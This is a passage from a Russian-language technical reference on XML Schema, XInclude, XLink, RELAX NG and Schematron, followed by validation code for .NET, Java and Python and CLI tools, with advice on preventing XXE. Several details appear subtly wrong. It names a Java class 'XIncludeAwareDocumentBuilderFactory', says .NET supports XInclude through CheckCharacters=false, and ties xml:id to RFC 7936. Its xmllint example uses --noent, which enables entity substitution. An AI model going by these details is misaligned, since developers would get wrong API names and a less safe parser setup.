</xs:group>
<xs:complexType name="Delivery">
<xs:sequence>
<xs:group ref="AddressFields"/>
<xs:element name="zip" type="xs:string"/>
</xs:sequence>
</xs:complexType>
4.7.2. Атрибутные группы (<xs:attributeGroup>)
<xs:attributeGroup name="i18nAttrs">
<xs:attribute name="lang" type="xs:language" default="en"/>
<xs:attribute name="dir" type="xs:string" default="ltr"/>
</xs:attributeGroup>
<xs:complexType name="Text">
<xs:simpleContent>
<xs:extension base="xs:string">
<xs:attributeGroup ref="i18nAttrs"/>
</xs:extension>
</xs:simpleContent>
</xs:complexType>
Преимущества: модульность, уменьшение дублирования, поддержка изменений.
4.8. Уникальность и ссылочная целостность
4.8.1. xs:unique
Гарантирует уникальность значений в заданной области.
<xs:element name="catalog">
<xs:complexType>
<xs:sequence>
<xs:element name="product" maxOccurs="unbounded">
<xs:complexType>
<xs:attribute name="id" type="xs:ID" use="required"/>
</xs:complexType>
</xs:element>
</xs:sequence>
</xs:complexType>
<xs:unique name="uniqueProductId">
<xs:selector xpath="product"/>
<xs:field xpath="@id"/>
</xs:unique>
</xs:element>
4.8.2. xs:key и xs:keyref
xs:key — как xs:unique, но также позволяет ссылаться через xs:keyref.
<xs:key name="productKey">
<xs:selector xpath="product"/>
<xs:field xpath="@id"/>
</xs:key>
<xs:keyref name="orderRef" refer="productKey">
<xs:selector xpath="order/item"/>
<xs:field xpath="@productId"/>
</xs:keyref>
Область действия: от текущего элемента вглубь.
XSD 1.1:xpathDefaultNamespace— упрощает XPath для NS.
4.9. Поддержка пространств имён в XSD
| Механизм | Описание |
|---|---|
targetNamespace | Объявляет NS, которому принадлежат глобальные компоненты. |
xmlns:prefix | Объявление префиксов в <xs:schema> для ссылок (xs:extension base="my:Type"). |
xs:import | Импорт компонентов из другого targetNamespace. Требует namespace и (опционально) schemaLocation. |
xs:include | Включение схемы с тем же targetNamespace. Объединяет компоненты. |
xs:redefine (устарело в XSD 1.1) | Переопределение типов/групп из включённой схемы. |
Пример импорта:
<xs:schema targetNamespace="http://example.com/order"
xmlns:xs="http://www.w3.org/2001/XMLSchema"
xmlns:prod="http://example.com/product">
<xs:import namespace="http://example.com/product"
schemaLocation="product.xsd"/>
<xs:element name="order">
<xs:complexType>
<xs:sequence>
<xs:element ref="prod:product" maxOccurs="unbounded"/>
</xs:sequence>
</xs:complexType>
</xs:element>
</xs:schema>
4.10. XSD 1.1: ключевые расширения
| Фича | Описание |
|---|---|
xs:assert | Произвольные проверки через XPath 2.0: <xs:assert test="count(item) = @itemCount"/> |
xs:openContent | Разрешить дополнительные элементы в любом месте (аналог JSON additionalProperties). |
xs:override | Безопасная замена компонентов (вместо xs:redefine). |
vc:* (Versioning) | Условная обработка: <xs:schema vc:minVersion="1.1">... |
| Улучшенная поддержка дат | xs:yearMonthDuration, xs:dayTimeDuration как отдельные типы. |
Пример
xs:assert:
<xs:complexType name="Range">
<xs:sequence>
<xs:element name="min" type="xs:integer"/>
<xs:element name="max" type="xs:integer"/>
</xs:sequence>
<xs:assert test="min le max"
xpathDefaultNamespace="##local"/>
</xs:complexType>
📚 Часть 5. Специализированные расширения и смежные технологии
5.1. XInclude (XML Inclusions)
Цель: декларативное включение внешних XML- и текстовых ресурсов на уровне разметки, без DTD.
Спецификация: XInclude 1.0 (W3C Recommendation 21 November 2006)
5.1.1. Синтаксис
<root xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include href="chapter1.xml" parse="xml"/>
<xi:include href="license.txt" parse="text" encoding="UTF-8"/>
</root>
| Атрибут | Обязательный? | Значения | Описание |
|---|---|---|---|
href | Да | URI | Адрес включаемого ресурса (относительный или абсолютный). |
parse | Нет | "xml" (по умолчанию) | "text" | Как интерпретировать содержимое. |
xpointer | Нет | XPointer-выражение | Фрагмент XML-документа (только при parse="xml"). |
encoding | Нет | Имя кодировки | Только при parse="text" — переопределяет кодировку. |
accept / accept-language | Нет | HTTP-заголовки | Передаются при HTTP-запросе (если поддерживается процессором). |
5.1.2. Особенности обработки
- После включения выполняется переопределение
xml:base: базовый URI становитсяhref(если не указанxml:baseявно). - Для
parse="xml"— включаемый документ должен быть well-formed (не обязательно валидным). - Для
parse="text"— содержимое экранируется как текст (символы<,&не интерпретируются). - Процессор должен рекурсивно обрабатывать
xi:includeво включённых фрагментах.
5.1.3. Пример с XPointer
<!-- В chapter1.xml: -->
<section id="intro"><title>Intro</title>...</section>
<!-- В основном документе: -->
<xi:include href="chapter1.xml" xpointer="element(intro)"/>
<!-- или -->
<xi:include href="chapter1.xml" xpointer="xpointer(//*[@id='intro'])"/>
Ограничения:
- Не все парсеры поддерживают XInclude (в Java —
DocumentBuilderнет,XIncludeAwareDocumentBuilderFactory— да; в .NET —XmlReaderSettings.CheckCharacters = false+ постпроцессинг).- Использование в production требует контроля источников (риск XXE).
5.2. XLink (XML Linking Language)
Цель: стандартизация гиперссылок и ассоциаций между ресурсами.
Спецификация: XLink 1.1 (W3C Recommendation 6 May 2010)
5.2.1. Два типа ссылок
| Тип | Описание | Пример |
|---|---|---|
| Simple Link | Однонаправленная ссылка (аналог HTML <a>) | <link xlink:href="doc.pdf" xlink:type="simple">Download</link> |
| Extended Link | Многонаправленная, с ролями, дугами (редко используется) | См. ниже |
5.2.2. Обязательные атрибуты для Simple Link
<element
xmlns:xlink="http://www.w3.org/1999/xlink"
xlink:type="simple"
xlink:href="URI"
xlink:show="new|replace|embed|other|none"
xlink:actuate="onRequest|onLoad|other|none"
/>
| Атрибут | Значение по умолчанию | Описание |
|---|---|---|
xlink:type | — | Должен быть "simple" для simple link. |
xlink:href | — | URI ресурса. |
xlink:show | "replace" | Поведение при активации: • "new" — новое окно/вкладка • "replace" — заменить текущий документ • "embed" — встроить (например, <img>) • "other" / "none" — приложение определяет |
xlink:actuate | "onRequest" | Когда активировать: • "onRequest" — по клику • "onLoad" — при загрузке |
Примечание:
- Для simple link не требуется объявлять элемент в DTD/XSD как часть XLink — достаточно атрибутов.
xlink:title— текстовая подсказка (аналогtitleв HTML).
5.2.3. Extended Link (теоретически)
<arcset xmlns:xlink="http://www.w3.org/1999/xlink"
xlink:type="extended">
<resource xlink:type="resource" xlink:label="r1">Alpha</resource>
<resource xlink:type="resource" xlink:label="r2">Beta</resource>
<arc xlink:type="arc" xlink:from="r1" xlink:to="r2"/>
</arcset>
Практически: не поддерживается браузерами, редко используется вне научных систем.
5.3. xml:id, xml:base, xml:lang, xml:space — углублённо
5.3.1. xml:id (RFC 7936, xml:id 1.0)
- Цель: унифицированный, DTD/XSD-независимый способ задания уникального идентификатора.
- Требования:
- Значение —
NCName. - Уникальность в пределах всего документа (парсер должен проверять).
- Может использоваться в XPath (
//*[@xml:id='x']), XSLT (key()), CSS ([xml|id="x"]).
- Значение —
- Преимущество перед
IDв DTD: работает без DTD и в XSD (гдеxs:ID— отдельный тип).
5.3.2. xml:base (RFC 3986 + xml:base)
- Цель: определение базового URI для разрешения относительных URI в атрибутах (
href,src,xlink:href). - Наследование: от родителя к потомку.
- Разрешение: по алгоритму RFC 3986, Section 5.
- Пример:
<catalog xml:base="https://example.com/data/">
<item src="img/logo.png"/> <!-- → https://example.com/data/img/logo.png -->
</catalog> - Поддержка: не во всех парсерах; приложения должны явно реализовывать (например, в XSLT — функция
resolve-uri()).
5.3.3. xml:lang
- Строгий формат: BCP 47 (теги вроде
en,ru-Latn,zh-Hans-CN). - Пример:
xml:lang="en-US"— американский английский;xml:lang="sr-Cyrl-RS"— сербский, кириллица, Сербия. - Используется:
- CSS:
:lang(en),*[lang|=en] - XSL-FO: выбор шрифтов
- Процессоры TTS и локализации
- CSS:
5.3.4. xml:space
"default"— whitespace нормализуется (как в значениях атрибутов)."preserve"— whitespace сохраняется как есть (но\r\n→\n).- Влияет на:
- Текстовые узлы (
#text) - Не влияет на CDATA, комментарии, PI
- Текстовые узлы (
- Пример:
<code xml:space="preserve">
function f() {
return x;
}
</code>
5.4. RELAX NG (ISO/IEC 19757-2)
Цель: компактный, человекочитаемый язык схем с мощной выразительностью (включая unordered content).
Форматы:
- XML-синтаксис (
.rng) - Компактный синтаксис (
.rnc)
5.4.1. Пример (компактный)
namespace local = ""
default namespace = "http://example.com/doc"
start = document
document = element document {
attribute id { xsd:ID },
title,
section*
}
title = element title { text }
section = element section {
attribute level { "1" | "2" | "3" },
title,
(para | list)*
}
para = element para { text }
list = element list { item+ }
item = element item { text }
5.4.2. Преимущества перед XSD
| Возможность | RELAX NG | XSD |
|---|---|---|
| Неупорядоченное содержимое | interleave | Только xs:all (ограничен) |
| Контекстно-зависимые типы | Нет | Нет (XSD 1.1: xs:alternative) |
| Простота синтаксиса | Высокая (rnc) | Низкая (много boilerplate) |
| Поддержка данных | Только структура | Структура + типы (через встроенный XSD Datatypes) |
Интеграция: RELAX NG может использовать XSD-типы через
datatypeLibrary="http://www.w3.org/2001/XMLSchema-datatypes".
5.5. Schematron
Цель: валидация бизнес-правил с помощью XPath/XSLT.
Принцип: «утверждения» (assert, report) на основе XPath-выражений.
5.5.1. Пример схемы
<schema xmlns="http://purl.oclc.org/dsdl/schematron"
queryBinding="xslt2">
<pattern id="order-rules">
<rule context="order">
<assert test="count(item) > 0">
Order must contain at least one item.
</assert>
<assert test="sum(item/@price * item/@qty) = @total">
Total must equal sum of (price × quantity).
</assert>
</rule>
</pattern>
</schema>
5.5.2. Этапы обработки
- Schematron-схема → XSLT-трансформация (компиляция).
- XML + XSLT → отчёт о нарушениях (в формате SVRL — Schematron Validation Report Language).
5.5.3. Где применяется
- Валидация сложных ограничений, недоступных в XSD/DTD (например, кросс-элементные вычисления).
- Проверка соглашений об именовании, стиля.
- Интеграция в CI/CD (например, через
saxon).
5.6. Другие спецификации (кратко)
| Название | URI | Назначение | Статус |
|---|---|---|---|
| XML Signature | http://www.w3.org/2000/09/xmldsig# | Цифровая подпись XML-документов или фрагментов | W3C Recommendation |
| XML Encryption | http://www.w3.org/2001/04/xmlenc# | Шифрование элементов/содержимого | W3C Recommendation |
| Catalogs (OASIS) | urn:oasis:names:tc:entity:xmlns:xml:catalog | Сопоставление системных идентификаторов → локальные файлы | Широко используется в Java (resolver.jar) |
| NVDL (Namespace-based Validation Dispatching Language) | ISO/IEC 19757-4 | Валидация документа с несколькими NS разными схемами | Редко |
📚 Часть 6. Практические инструменты и реализации
6.1. Валидация в .NET (C#)
6.1.1. Базовый парсинг (well-formedness)
var settings = new XmlReaderSettings
{
DtdProcessing = DtdProcessing.Prohibit, // 🔒 защита от XXE
XmlResolver = null, // 🔒 запрет разрешения URI
ConformanceLevel = ConformanceLevel.Document // строгая проверка
};
using var reader = XmlReader.Create("input.xml", settings);
while (reader.Read()) { /* ... */ } // исключение при нарушении well-formedness
6.1.2. Валидация по XSD
var schemas = new XmlSchemaSet();
schemas.Add("http://example.com/ns", "schema.xsd");
var settings = new XmlReaderSettings
{
ValidationType = ValidationType.Schema,
Schemas = schemas,
ValidationEventHandler = (s, e) =>
Console.WriteLine($"[Level {e.Severity}] {e.Message}")
};
using var reader = XmlReader.Create("doc.xml", settings);
while (reader.Read()) { } // ValidationEventHandler вызывается при ошибках
Особенности:
- Поддержка XSD 1.0 (XSD 1.1 — только через сторонние библиотеки, напр.
NXmlSchema).XmlSchemaSet.Compile()выполняет предварительную компиляцию схемы — ускоряет валидацию.- Для
xml:idвалидация уникальности не выполняется — нужно доп. проверять.
6.1.3. Генерация классов: xsd.exe
xsd.exe schema.xsd /c /namespace:MyApp.Models
→ генерирует schema.cs с [XmlRoot], [XmlElement], [XmlAttribute].
Ограничения:
- Не поддерживает XSD 1.1,
xs:assert,xs:openContent.- Сложные схемы (рекурсия,
xs:choiceс одинаковыми именами) могут генерировать неоптимальный код.
6.1.4. LINQ to XML (XDocument)
var doc = XDocument.Load("data.xml", LoadOptions.SetLineInfo);
// Проверка well-formedness — исключение при ошибке
// Валидация отдельно через XmlReader + XDocument.ReadFrom()
// Поиск с информацией о строке/столбце:
var bad = doc.Descendants("item")
.Where(e => (string)e.Attribute("id") == null)
.Select(e => new {
Line = ((IXmlLineInfo)e).LineNumber,
Value = e.Value
});
Преимущество:
IXmlLineInfo— критично для диагностических инструментов.
6.2. Валидация в Java (JAXP)
6.2.1. Безопасный парсинг (well-formedness)
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
dbf.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, "");
dbf.setAttribute(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");
DocumentBuilder db = dbf.newDocumentBuilder();
Document doc = db.parse(new File("input.xml")); // SAXParseException при ошибке
6.2.2. Валидация по XSD
SchemaFactory sf = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI);
Schema schema = sf.newSchema(new File("schema.xsd"));
Validator validator = schema.newValidator();
validator.setErrorHandler(new ErrorHandler() {
@Override
public void error(SAXParseException e) {
System.out.printf("[Line %d] %s%n", e.getLineNumber(), e.getMessage());
}
// fatal / warning — аналогично
});
validator.validate(new StreamSource(new File("doc.xml")));
Поддержка XSD 1.1:
- Требуется
xercesImpl-2.12.2.jarилиsaxon-heсSchemaValidator.- Включается через
System.setProperty("javax.xml.validation.SchemaFactory:http://www.w3.org/XML/XMLSchema/v1.1", "...").
6.2.3. Streaming (StAX) + валидация
XMLInputFactory factory = XMLInputFactory.newFactory();
factory.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);
factory.setProperty(XMLInputFactory.SUPPORT_DTD, false);
XMLStreamReader reader = factory.createXMLStreamReader(new FileInputStream("big.xml"));
// Валидация "на лету" — через `ValidatorHandler` + `StAXSource` (JDK 9+)
Использование: обработка XML >1 ГБ без загрузки в память.
6.2.4. Генерация классов: xjc (JAXB)
xjc -d src -p com.example.model schema.xsd
→ генерирует @XmlRootElement, @XmlElement, JAXBContext.
Устаревание: JAXB удалён из JDK ≥11 (требуется
jaxb-api,jaxb-impl).
6.3. Валидация в Python
6.3.1. lxml (рекомендуется)
from lxml import etree
# Безопасный парсинг
parser = etree.XMLParser(
no_network=True,
load_dtd=False,
dtd_validation=False,
recover=False # False → строгая ошибка при нарушении well-formedness
)
tree = etree.parse("doc.xml", parser)
# Валидация по XSD
with open("schema.xsd") as f:
schema_root = etree.parse(f)
schema = etree.XMLSchema(schema_root)
if not schema.validate(tree):
for error in schema.error_log:
print(f"[Line {error.line}] {error.message}")
Преимущества
lxml:
- Поддержка XInclude, RELAX NG, Schematron (через
etree.Schematron).- Высокая производительность (C-биндинги к libxml2/libxslt).
- Точный отчёт об ошибках (строка, столбец, XPath).
6.3.2. xmlschema (чистый Python, XSD 1.0/1.1)
import xmlschema
schema = xmlschema.XMLSchema11("schema.xsd") # или XMLSchema для 1.0
errors = list(schema.iter_errors("doc.xml"))
for err in errors:
print(f"[Path {err.path}] {err.reason}")
Особенности:
- Поддержка XSD 1.1 (
xs:assert,xs:openContent).- Интеграция с
jsonschema(конвертация XSD → JSON Schema).- Подходит для веб-API (Flask/FastAPI валидаторы).
6.3.3. Защита от XXE: defusedxml
from defusedxml.ElementTree import parse
tree = parse("untrusted.xml") # автоматически отключает внешние сущности
Используйте
defusedxmlвместо стандартногоxml.etreeпри работе с ненадёжными данными.
6.4. CLI-инструменты
| Инструмент | Платформа | Возможности | Команда |
|---|---|---|---|
xmllint | Linux/macOS (libxml2) | well-formedness, DTD/XSD-валидация, форматирование, XPath | xmllint --noent --valid --schema schema.xsd doc.xml |
saxon | Java | XSLT 2.0/3.0, XQuery, XSD 1.1, Schematron | java -jar saxon-he.jar -xsl:check.sch -s:doc.xml -o:report.svrl |
jing | Java | RELAX NG (XML/compact), Schematron | jing schema.rnc doc.xml |
xmlstarlet | Linux/macOS | XPath, редактирование, преобразование | xmlstarlet val -e -d dtd.dtd doc.xml |
6.4.1. Пример: комплексная проверка через xmllint
# 1. Проверить well-formedness
xmllint --noout doc.xml || exit 1
# 2. Проверить по DTD (если есть DOCTYPE)
xmllint --valid --noout doc.xml || exit 2
# 3. Проверить по XSD
xmllint --schema schema.xsd --noout doc.xml || exit 3
# 4. Форматирование (pretty-print)
xmllint --format doc.xml > doc-formatted.xml
Опции безопасности:
--nonet— запрет сетевых запросов--nofixup-base-uris— не обновлятьxml:base--nodtdattr— не добавлять атрибуты из DTD по умолчанию
6.5. Генерация документации и диаграмм
| Цель | Инструмент | Выход |
|---|---|---|
| Диаграммы структуры | XML Schema Viewer, draw.io + XSD plugin | Дерево элементов, кардинальности |
| HTML-документация | xsddoc (Java), pyXSD (Python), xsd2html2xml (Node.js) | Описание типов, ограничений, примеров |
| Таблицы соответствия | Скрипты на XSLT (xs:schema → HTML-table) | Сопоставление XML ↔ JSON ↔ БД |
Пример XSLT для извлечения структуры:
<xsl:template match="xs:element">
<tr>
<td><xsl:value-of select="@name"/></td>
<td><xsl:value-of select="@type"/></td>
<td><xsl:value-of select="xs:annotation/xs:documentation"/></td>
</tr>
<xsl:apply-templates select="xs:complexType/xs:sequence/xs:element"/>
</xsl:template>
6.6. Отладка и диагностика
| Проблема | Инструмент | Метод |
|---|---|---|
| Неясная ошибка валидации | lxml + schema.error_log, xmllint --debug | Получить точную позицию и XPath |
| Конфликт NS | xmllint --shell, xpath | Выполнить /*[namespace-uri()='...'] |
Неправильное разрешение xml:base | Скрипт на XSLT с base-uri() | Проверить base-uri(.) для каждого элемента |
| XXE в логах | Логирование EntityResolver.resolveEntity() | Перехватить попытки загрузки file:/// |
Совет: используйте
xmllint --shell doc.xml, затем команды:
dir— структураbase— текущийxml:basexpath //item[@id='x']— выполнить XPath